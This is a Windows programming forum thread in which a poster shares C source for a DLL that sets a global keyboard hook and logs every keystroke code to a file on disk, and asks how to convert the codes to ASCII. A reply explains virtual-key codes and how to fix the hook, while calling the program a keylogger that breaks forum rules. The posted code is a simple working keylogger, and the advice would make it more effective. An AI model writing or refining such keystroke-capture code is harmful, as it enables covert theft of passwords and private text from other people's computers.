Keyboard hook

This is a discussion on Keyboard hook within the Windows Programming forums, part of the Platform Specific Boards category; I have a program that records keyboard input and writes it to a file, but I think the program receives ...

  1. #1
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    Keyboard hook

    I have a program that records keyboard input and writes it to a file, but I think the program receives the keyboard values corresponding to certain characters, and not the ASCII values. Ex: The character ";" is recorded as 186 instead of the ASCII value, 59.

    The program is a DLL:

    Code:
    #include <windows.h>
    #include <stdio.h>
    
    FILE *f1;
    static HHOOK hkb=NULL;
    
    int __stdcall __declspec(dllexport) KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    
        int ch;
        LPTSTR keyname;
        
        if (nCode < 0) {
            return 1;
        }
        
        ch = wParam;
        
        
        if (GetAsyncKeyState(ch) == 0) {
    
                f1=fopen("C:\\templog.txt","a+");
                if (f1) {
                       fprintf(f1,"%d;",ch);
                       fclose(f1);
                }
        }
        
    
        LRESULT RetVal = CallNextHookEx(hkb,nCode,wParam,lParam );
    
        return 0;
    
    }
    
    HHOOK __stdcall __declspec(dllexport) installHook(HINSTANCE hins) {
        f1=fopen("C:\\report.txt","a+");
        fclose(f1);
        hkb=SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc,hins,0);
        return hkb;
    }
    If the values are indeed corresponding to how the keyboard interprets them, is this in any way, keyboard-specific?

    Is there any way of efficiently modifying the recorded values - besides the pathetic task of testing to see the keyboard values of each character, and then creating a substitution cipher, that checks each character and modifies it's value - to the ASCII correspondants?

    My best guess is that this question belongs in Windows Programming.

  2. #2
    Registered User Tonto's Avatar
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    wParam contains a virtual key scan code. A list of these codes can be found here: http://www.vmware.com/support/ws5/do...map_vscan.html and MSDN explains this in it's WH_KEYBOARD reference: http://msdn.microsoft.com/library/de...yboardproc.asp. GetAsyncKeyState also just comes in and sucks up your KeyboardProc, in addition to not returning 0 when a key is down. See: http://msdn.microsoft.com/library/de...nckeystate.asp for more info. It is also just a very hackish way of checking if it's a WM_KEYDOWN message. Check out the useful flags in lParam instead. It is also very clear that you are making lame malware (keylogger), which is against the rules of the forum.

  3. #3
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    Thanks for the help, and additional advice.

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